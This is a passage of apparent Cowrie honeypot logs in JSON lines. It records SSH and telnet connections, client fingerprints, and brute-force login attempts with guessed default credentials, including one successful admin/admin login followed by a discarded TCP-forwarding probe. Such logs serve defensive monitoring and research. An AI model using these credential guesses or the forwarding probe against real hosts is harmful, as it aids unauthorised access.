2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:41:27.648424Z","src_ip":"178.20.210.186","session":"1862dbaa523e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emily","password":"emily","message":"login attempt [emily/emily] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:41:28.072472Z","src_ip":"178.20.210.186","session":"1862dbaa523e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:41:29.198330Z","src_ip":"178.20.210.186","session":"1862dbaa523e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:41:41.542542Z","src_ip":"8.218.166.49","session":"ea7dfa4eeebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.176.29.6","src_port":2818,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c6e4dedf9d","protocol":"telnet","message":"New connection: 193.176.29.6:2818 (10.17.0.5:23) [session: 25c6e4dedf9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:41:54.700043Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":14327,"dst_ip":"159.203.135.109","dst_port":22,"session":"97c4b6a476a9","protocol":"ssh","message":"New connection: 213.209.159.56:14327 (159.203.135.109:22) [session: 97c4b6a476a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:02.578511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:02.606469Z","src_ip":"213.209.159.56","session":"97c4b6a476a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:02.708395Z","src_ip":"213.209.159.56","session":"97c4b6a476a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin","message":"login attempt [tristin/tristin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:03.068901Z","src_ip":"213.209.159.56","session":"97c4b6a476a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin1","message":"login attempt [tristin/tristin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:04.157307Z","src_ip":"213.209.159.56","session":"97c4b6a476a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin123","message":"login attempt [tristin/tristin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:05.243845Z","src_ip":"213.209.159.56","session":"97c4b6a476a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.575581073760986,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:05.275506Z","src_ip":"193.176.29.6","session":"25c6e4dedf9d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin1234","message":"login attempt [tristin/tristin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:06.329634Z","src_ip":"213.209.159.56","session":"97c4b6a476a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tristin","password":"tristin12345","message":"login attempt [tristin/tristin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:07.416036Z","src_ip":"213.209.159.56","session":"97c4b6a476a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:08.525981Z","src_ip":"213.209.159.56","session":"97c4b6a476a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:21.234663Z","src_ip":"8.218.166.49","session":"df2bd674dfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:22.865718Z","src_ip":"8.218.166.49","session":"ea7dfa4eeebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.151.249.218","src_port":42665,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5990ea2a28","protocol":"telnet","message":"New connection: 223.151.249.218:42665 (10.17.0.5:23) [session: 3d5990ea2a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:27.120346Z"}
{"eventid":"cowrie.session.closed","duration":"111.5","message":"Connection lost after 111.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:29.453764Z","src_ip":"8.218.166.49","session":"df2bd674dfc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60662,"dst_ip":"10.17.0.5","dst_port":22,"session":"de81eb2deba2","protocol":"ssh","message":"New connection: 8.218.166.49:60662 (10.17.0.5:22) [session: de81eb2deba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:40.443929Z"}
{"eventid":"cowrie.session.closed","duration":13.509982824325562,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:40.630202Z","src_ip":"223.151.249.218","session":"3d5990ea2a28","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:40.792672Z","src_ip":"8.218.166.49","session":"de81eb2deba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:40.798542Z","src_ip":"8.218.166.49","session":"de81eb2deba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:47.422844Z","src_ip":"8.218.166.49","session":"de81eb2deba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:42:49.230368Z","src_ip":"8.218.166.49","session":"de81eb2deba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58264,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f4366f6d30c","protocol":"ssh","message":"New connection: 87.251.64.176:58264 (10.17.0.5:22) [session: 0f4366f6d30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:15.494824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:15.500719Z","src_ip":"87.251.64.176","session":"0f4366f6d30c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:15.598568Z","src_ip":"87.251.64.176","session":"0f4366f6d30c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:15.894027Z","src_ip":"87.251.64.176","session":"0f4366f6d30c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:15.995862Z","session":"0f4366f6d30c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:16.094359Z","src_ip":"87.251.64.176","session":"0f4366f6d30c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:16.195287Z","src_ip":"87.251.64.176","session":"0f4366f6d30c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36762,"dst_ip":"10.17.0.5","dst_port":22,"session":"679874ba4003","protocol":"ssh","message":"New connection: 8.218.166.49:36762 (10.17.0.5:22) [session: 679874ba4003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:18.898505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:18.903248Z","src_ip":"8.218.166.49","session":"679874ba4003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50660,"dst_ip":"10.17.0.5","dst_port":22,"session":"7610d8779ee4","protocol":"ssh","message":"New connection: 8.218.166.49:50660 (10.17.0.5:22) [session: 7610d8779ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:26.198127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:26.203923Z","src_ip":"8.218.166.49","session":"7610d8779ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50666,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c894e1db63","protocol":"ssh","message":"New connection: 8.218.166.49:50666 (10.17.0.5:22) [session: d3c894e1db63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:35.029879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:35.034863Z","src_ip":"8.218.166.49","session":"d3c894e1db63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52152,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb35ef3e7ccd","protocol":"ssh","message":"New connection: 8.218.166.49:52152 (10.17.0.5:22) [session: cb35ef3e7ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:39.107011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:39.113687Z","src_ip":"8.218.166.49","session":"cb35ef3e7ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:43:49.547300Z","src_ip":"8.218.166.49","session":"cb35ef3e7ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50508,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f2cbfdcf577","protocol":"ssh","message":"New connection: 8.218.166.49:50508 (10.17.0.5:22) [session: 2f2cbfdcf577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:00.361319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:02.923999Z","src_ip":"8.218.166.49","session":"2f2cbfdcf577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:02.929448Z","src_ip":"8.218.166.49","session":"2f2cbfdcf577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:03.307483Z","src_ip":"8.218.166.49","session":"cb35ef3e7ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.2","message":"Connection lost after 29.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:08.342867Z","src_ip":"8.218.166.49","session":"cb35ef3e7ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:44:41.768752Z","src_ip":"8.218.166.49","session":"679874ba4003","protocol":"ssh"}
